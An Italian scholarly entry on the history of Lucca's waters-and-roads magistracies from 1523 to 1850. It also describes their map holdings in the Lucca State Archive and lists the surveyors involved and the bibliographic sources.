Con il decreto del 26 marzo 1523, il Consiglio Generale nominava tre cittadini che assurgevano provvisoriamente a “Provisores et Conservatores Stratarum, aggerum, et pontium nostri Comitatus”, ma questa Cura straordinaria venne in seguito sempre rinnovata e riformata (nel 1543, nel 1547) passando in ultimo ad avere una direzione composta da sei cittadini e con sempre più autorità e poteri. Fino al 1555 la deputazione aveva soltanto giurisdizione sulle strade – ed infatti era denominata solamente Offizio sopra le Strade delle Sei Miglia – ma successivamente le vennero arrogate anche le competenze riguardanti i fossi e le acque lungo le vie. Escludendo l’intervallo di tempo che va dal 19 giugno 1640 fino al 1661, periodo in cui fu creato uno speciale Offizio che prese in consegna la cura di tutte le acque che non rientravano specificamente all’interno di altre magistrature, l’istituzione delle Sei Miglia mantenne l’assetto che la vedeva attiva nel mantenimento della rete idrografica e viaria del Distretto lucchese (appunto nel raggio all’incirca di sei miglia intorno al capoluogo), e di conseguenza l’appellativo passò al più noto Offizio sopra le Acque e le Strade delle Sei Miglia (o Distretto). Tale disposizione rimase in vigore fino al 1801 quando fu riformato tutto l’assetto amministrativo dello Stato e i compiti passarono al nuovo Commissariato sopra le Acque e Strade.

Il periodo napoleonico, infatti, vede la nascita di nuovi enti che, avendo denominazione diversa, mantengono, però, delle competenze che risultano le stesse anche se con delle piccole differenze dal punto di vista dell’organizzazione amministrativa.
Con decreto del 24 dicembre 1806 fu istituito il Consiglio de’ Ponti ed Argini che rispecchiava in piccolo le attitudini del Ponts et Chaussés transalpino: era composto da un corpo di 10 ingegneri, un Direttore Generale ed un Ingegnere in capo. Nei circa dieci anni durante i quali resistette questo ordinamento, le due cariche più importanti furono sempre ricoperte da una personalità proveniente dall’entourage del governo francese, e da un referente illustre del territorio lucchese.
In questo periodo si segnala la figura dell’ingegner Giuseppe Duccini che operò sia nella funzione in capo che in veste dirigenziale istituzionale, che esercitò quando fu chiamato nel 1814 a guidare i Ponti ed Argini del Governo Provvisorio.
Dopo la parentesi francese, fu istituita la Soprintendenza sulle Acque e Strade, affidata nel 1818 al ministro per gli Affari Esteri e composta da sei ingegneri (mentre il Corpo degli Ingegneri veniva denominato Consiglio delle Acque, Strade e Macchie e aveva un organico di tre soli ingegneri), e subito dopo si ebbe la trasformazione in Direzione sotto il controllo della Reale Intima Segreteria di Gabinetto. L’ultimo cambiamento di titolazione della deputazione avviene nel 1821, quando in seguito ad un dissidio riguardo ai progetti di bonifica del Padule di Sesto fra Gaetano Giorgini e Lorenzo Nottolini, i due massimi responsabili di quel tempo nel campo della pianificazione territoriale, si arrivò alla creazione del Commissariato delle Acque e delle Strade che riunì definitivamente le autorità sui vari lavori pubblici del Ducato di Lucca.

Produzione cartografica

Il fondo relativo alla deputazione di Acque e Strade (in ASLu) raccoglie documenti a partire dal 1801, ma la sua istituzione avviene nel 1818 e rimane attiva fino al primo gennaio 1850. Mentre L’Offizio sopra le Acque e Strade delle Sei Miglia viene istituito con decreto del 6 marzo 1523, e cessa le sue attività all’inizio del 1801, quando le mansioni passarono al costituendo Commissariato sopra le Acque e Strade.
L’attività e la produzione della Direzione di Acque e Strade si presenta sotto forma di differenti tipologie di esecuzione con documenti cartografici, relazioni, campioni e registri relativi alle varie proprietà che si trovano all’interno dei vari Circondari in cui era suddiviso il territorio lucchese. Così, originariamente, per ogni area si aveva un “Plantario o Martilogio dove sono disegnate le terre sottoposte al ripartimento; un Notulario corrispondente, colla descrizione degli appezzamenti delle terre aggravate, nome dei possessori, e note o postille di variazioni e di passaggi di proprietà; un Campione o Ruolo dei proprietari di esse terre aggravate […]; un Libro di Cassa; Manuali di reparti, bozze ed altre diverse scritture” (Bongi, 1872-1888, vol. III, p. 287).
Successivamente, gran parte delle mappe allegate ai diversi Circondari sono state disaggregate e raccolte tutte assieme in filze specifiche che chiudono le serie del fondo Acque e Strade. Assieme al materiale prodotto nel periodo in cui l’ente esercitò direttamente le sue mansioni, sono contenuti anche documenti che erano stati realizzati da precedenti deputazioni, ma che a causa della loro attinenza con particolari progetti sono stati successivamente acquisiti dalla Direzione di Acque e Strade.
In totale vi sono 37 Circondari le cui carte sono contenute dalla filza n. 464 alla n. 705, mentre la raccolta delle mappe “che aveva formata l’Amministrazione delle Acque e Strade cavandone la parte maggiore dalle carte di diversi antichi uffizi repubblicani” chiude la consistenza del fondo dalla filza n. 706 alla n. 753 (Bongi, 1872-1888, vol. III, p. 330).
In particolare sono da segnalare:
Carta Topografica di tutte le terre soggette all’Imposta della Linea Rossa, Michele Flosi, Pubblico Perito e Giuseppe Natalini, Perito Ingegnere dell’Offizio sopra il Padule di Sesto, 1757 (ASLu, Acque e Strade, f. 625); Topografia di tutte le terre soggette all’imposizione detta della Linea Rossa, per il mantenimento del Canale Imperiale, Giovanni Iacopo Farnocchia, Perito Ingegnere dell’Offizio sopra il Padule di Sesto, 1788 (ASLu, Acque e Strade, f. 626); Carta Geografica dello Stato della Serenissima Repubblica di Lucca, descritta d’ordine dall’Ill.mo Offizio di Sanità da Fra Giuseppe M. Serantoni Agostiniano l’anno 1744, Giuseppe Maria Serantoni, 1744 (ASLu, Acque e Strade, f. 750; Carta Geografica dello Stato della Serenissima Repubblica di Lucca, copia della mappa precedente del Serantoni in formato minore, Michele Saverio Flosi (ASLu, Acque e Strade, f. 752).
Svariate mappe del Serchio e delle sue adiacenze sono contenute in ASLu, Offizio delle acque e strade delle Sei Miglia, f. 27.

Operatori

Giovan Francesco Gabbrielli (pubblico perito, 1718-1728); Giovan Lorenzo Martinelli (perito agrimensore, 1720-1724); Michele Flosi (pubblico perito, 1757); Giorgio Martinelli (pubblico perito, 1777-1780); Giovan Battista Filippo M. Giannetti (pubblico perito, 1780); Pier Giuseppe Maria Valentini (pubblico perito, 1780); Giovan Battista Innocenzo Carrara (perito ingegnere, 1795-1825); Domenico Barbantini (perito ingegnere, 1805); Giuseppe Duccini (1806-1814); Giovan Battista Martinelli (perito ingegnere, 1817-1838); Giovanni Iacopo Farnocchia (perito ingegnere, 1825); Nicodemo Morelli (perito ingegnere, 1828); Michele Cervelli (perito ingegnere, 1838).

Riferimenti bibliografici e archivistici

Azzari, 1993, pp. 161-193; Azzari, 2001, pp. 89-106; Barsanti e Rombai, 1986; Barsanti e Rombai, 1994; Bongi, 1872-1888; Caciagli, 1984; ASLu, Offizio delle acque e strade delle Sei Miglia.

Giulio Tarchi (Siena)